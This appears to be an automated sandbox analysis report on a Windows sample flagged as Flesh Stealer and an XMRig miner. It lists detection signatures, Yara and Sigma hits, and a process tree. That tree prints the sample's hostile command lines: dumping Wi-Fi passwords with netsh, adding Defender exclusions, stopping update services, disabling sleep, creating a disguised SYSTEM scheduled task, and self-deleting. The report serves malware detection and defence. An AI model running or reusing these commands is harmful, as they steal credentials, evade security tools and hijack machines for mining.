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Windows
Analysis Report
zufmUwylvo.exe
Overview
General Information
Detection
Flesh Stealer, Xmrig
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Sigma detected: Stop multiple services
Suricata IDS alerts for network traffic
Yara detected Flesh Stealer
Yara detected Xmrig cryptocurrency miner
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Found many strings related to Crypto-Wallets (likely being stolen)
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
PE file contains section with special chars
Performs DNS queries to domains with low reputation
Protects its processes via BreakOnTermination flag
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample is not signed and drops a device driver
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Stops critical windows services
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Uses netsh to modify the Windows network and firewall settings
Uses powercfg.exe to modify the power settings
Writes to foreign memory regions
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the product ID of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64native
- zufmUwylvo.exe (PID: 4540 cmdline:
"C:\Users\ user\Deskt op\zufmUwy lvo.exe" MD5: C526CB2C72A976831C06FC09991E20D8) - zxcvbnmasd.exe (PID: 6672 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\zxcvbn masd.exe" MD5: 413E4E7BC129E8165D1FFD2B1AE5DB04) - dialer.exe (PID: 8464 cmdline:
C:\Windows \System32\ dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93) - winlogon.exe (PID: 852 cmdline:
winlogon.e xe MD5: A987B43E6A8E8F894B98A3DF022DB518) - lsass.exe (PID: 908 cmdline:
C:\Windows \system32\ lsass.exe MD5: 15A556DEF233F112D127025AB51AC2D3) - WmiPrvSE.exe (PID: 4344 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - svchost.exe (PID: 1080 cmdline:
C:\Windows \system32\ svchost.ex e -k DcomL aunch -p - s LSM MD5: F586835082F632DC8D9404D83BC16316) - dwm.exe (PID: 1152 cmdline:
"dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C) - svchost.exe (PID: 1284 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s S chedule MD5: F586835082F632DC8D9404D83BC16316) - updater.exe (PID: 8404 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\updater. exe" MD5: 413E4E7BC129E8165D1FFD2B1AE5DB04) - svchost.exe (PID: 1316 cmdline:
C:\Windows \System32\ svchost.ex e -k Local SystemNetw orkRestric ted -p -s NcbService MD5: F586835082F632DC8D9404D83BC16316) - svchost.exe (PID: 1324 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s P rofSvc MD5: F586835082F632DC8D9404D83BC16316) - svchost.exe (PID: 1380 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s TimeBroke rSvc MD5: F586835082F632DC8D9404D83BC16316) - IntelCpHDCPSvc.exe (PID: 1440 cmdline:
C:\Windows \System32\ DriverStor e\FileRepo sitory\iig d_dch.inf_ amd64_3ea7 56ac68d34d 21\IntelCp HDCPSvc.ex e MD5: B6BAD2BD8596D9101874E9042B8E2D63) - svchost.exe (PID: 1452 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s U serManager MD5: F586835082F632DC8D9404D83BC16316) - svchost.exe (PID: 1472 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s EventS ystem MD5: F586835082F632DC8D9404D83BC16316) - svchost.exe (PID: 1568 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s EventLog MD5: F586835082F632DC8D9404D83BC16316) - svchost.exe (PID: 1688 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s S ENS MD5: F586835082F632DC8D9404D83BC16316) - IntelCpHeciSvc.exe (PID: 1748 cmdline:
C:\Windows \System32\ DriverStor e\FileRepo sitory\iig d_dch.inf_ amd64_3ea7 56ac68d34d 21\IntelCp HeciSvc.ex e MD5: 3B0DF35583675DE5A08E8D4C1271CEC0) - igfxCUIService.exe (PID: 1808 cmdline:
C:\Windows \System32\ DriverStor e\FileRepo sitory\cui _dch.inf_a md64_2e49f 48165b8de1 0\igfxCUIS ervice.exe MD5: 91038D45A86B5465E8B7E5CD63187150) - svchost.exe (PID: 1848 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s nsi MD5: F586835082F632DC8D9404D83BC16316) - svchost.exe (PID: 1920 cmdline:
C:\Windows \system32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s Dhcp MD5: F586835082F632DC8D9404D83BC16316) - cmd.exe (PID: 3592 cmdline:
"cmd" /C c hcp 65001 && netsh w lan show p rofiles | findstr Al l MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3632 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - chcp.com (PID: 988 cmdline:
chcp 65001 MD5: CA9A549C17932F9CAA154B5528EBD8D4) - netsh.exe (PID: 6476 cmdline:
netsh wlan show prof iles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB) - findstr.exe (PID: 4808 cmdline:
findstr Al l MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
- powershell.exe (PID: 7544 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe Ad d-MpPrefer ence -Excl usionPath @($env:Use rProfile, $env:Progr amFiles) - Force MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5976 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
- cmd.exe (PID: 8248 cmdline:
C:\Windows \System32\ cmd.exe /c sc stop U soSvc & sc stop WaaS MedicSvc & sc stop w uauserv & sc stop bi ts & sc st op dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8256 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 8304 cmdline:
sc stop Us oSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 8320 cmdline:
sc stop Wa aSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 8336 cmdline:
sc stop wu auserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 8376 cmdline:
sc stop bi ts MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 8396 cmdline:
sc stop do svc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
- cmd.exe (PID: 8420 cmdline:
C:\Windows \System32\ cmd.exe /c powercfg /x -hibern ate-timeou t-ac 0 & p owercfg /x -hibernat e-timeout- dc 0 & pow ercfg /x - standby-ti meout-ac 0 & powercf g /x -stan dby-timeou t-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8428 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powercfg.exe (PID: 8488 cmdline:
powercfg / x -hiberna te-timeout -ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - powercfg.exe (PID: 8596 cmdline:
powercfg / x -hiberna te-timeout -dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - powercfg.exe (PID: 8664 cmdline:
powercfg / x -standby -timeout-a c 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - powercfg.exe (PID: 8724 cmdline:
powercfg / x -standby -timeout-d c 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
- powershell.exe (PID: 8508 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe <# irktvxcx#> IF([Syste m.Environm ent]::OSVe rsion.Vers ion -lt [S ystem.Vers ion]"6.2") { schtask s /create /f /sc onl ogon /rl h ighest /ru 'System' /tn 'Googl eUpdateTas kMachineQC ' /tr '''C :\Program Files\Goog le\Chrome\ updater.ex e''' } Els e { Regist er-Schedul edTask -Ac tion (New- ScheduledT askAction -Execute ' C:\Program Files\Goo gle\Chrome \updater.e xe') -Trig ger (New-S cheduledTa skTrigger -AtStartup ) -Setting s (New-Sch eduledTask SettingsSe t -AllowSt artIfOnBat teries -Di sallowHard Terminate -DontStopI fGoingOnBa tteries -D ontStopOnI dleEnd -Ex ecutionTim eLimit (Ne w-TimeSpan -Days 100 0)) -TaskN ame 'Googl eUpdateTas kMachineQC ' -User 'S ystem' -Ru nLevel 'Hi ghest' -Fo rce; } MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8528 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
- cmd.exe (PID: 8704 cmdline:
C:\Windows \System32\ cmd.exe /c choice /C Y /N /D Y /T 3 & De l "C:\User s\user\App Data\Local \Temp\zxcv bnmasd.exe " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8548 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - choice.exe (PID: 8428 cmdline:
choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128)
- powershell.exe (PID: 8968 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe Ad d-MpPrefer ence -Excl usionPath @($env:Use rProfile, $env:Progr amFiles) - Force MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8896 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
- cmd.exe (PID: 8136 cmdline:
C:\Windows \System32\ cmd.exe /c sc stop U soSvc & sc stop WaaS MedicSvc & sc stop w uauserv & sc stop bi ts & sc st op dosvc MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8980 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 9188 cmdline:
sc stop Us oSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 5672 cmdline:
sc stop Wa aSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 8076 cmdline:
sc stop wu auserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 8148 cmdline:
sc stop bi ts MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
xmrig | According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. | No Attribution |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
MALWARE_Win_CoinMiner02 | Detects coinmining malware | ditekSHen |
| |
MAL_XMR_Miner_May19_1 | Detects Monero Crypto Coin Miner | Florian Roth |
| |
MacOS_Cryptominer_Xmrig_241780a1 | unknown | unknown |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FleshStealer | Yara detected Flesh Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
MALWARE_Win_CoinMiner02 | Detects coinmining malware | ditekSHen |
| |
MAL_XMR_Miner_May19_1 | Detects Monero Crypto Coin Miner | Florian Roth |
| |
MacOS_Cryptominer_Xmrig_241780a1 | unknown | unknown |
| |
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security | ||
Click to see the 7 entries |
Operating System Destruction |
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Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Jonathan Cheong, oscd.community: |